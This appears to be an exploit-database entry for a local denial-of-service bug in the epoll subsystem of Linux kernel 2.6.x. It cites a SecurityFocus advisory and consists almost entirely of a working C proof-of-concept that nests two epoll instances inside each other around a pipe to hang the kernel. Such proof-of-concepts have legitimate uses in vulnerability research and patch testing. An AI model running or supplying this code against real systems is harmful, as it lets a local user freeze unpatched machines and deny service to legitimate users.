Linux Kernel 2.6.x - epoll Nested Structures Local Denial of Service

/*
source: https://www.securityfocus.com/bid/46630/info

The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities.

Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users. 
*/


#include <unistd.h>
 #include <sys/epoll.h>
 int main(void) {
     int e1, e2, p[2];
     struct epoll_event evt = {
         .events = EPOLLIN
     };
     e1 = epoll_create(1);
     e2 = epoll_create(2);
     pipe(p);

     epoll_ctl(e2, EPOLL_CTL_ADD, e1, &evt);
     epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &evt);
     write(p[1], p, sizeof p);
     epoll_ctl(e1, EPOLL_CTL_ADD, e2, &evt);

     return 0;
 }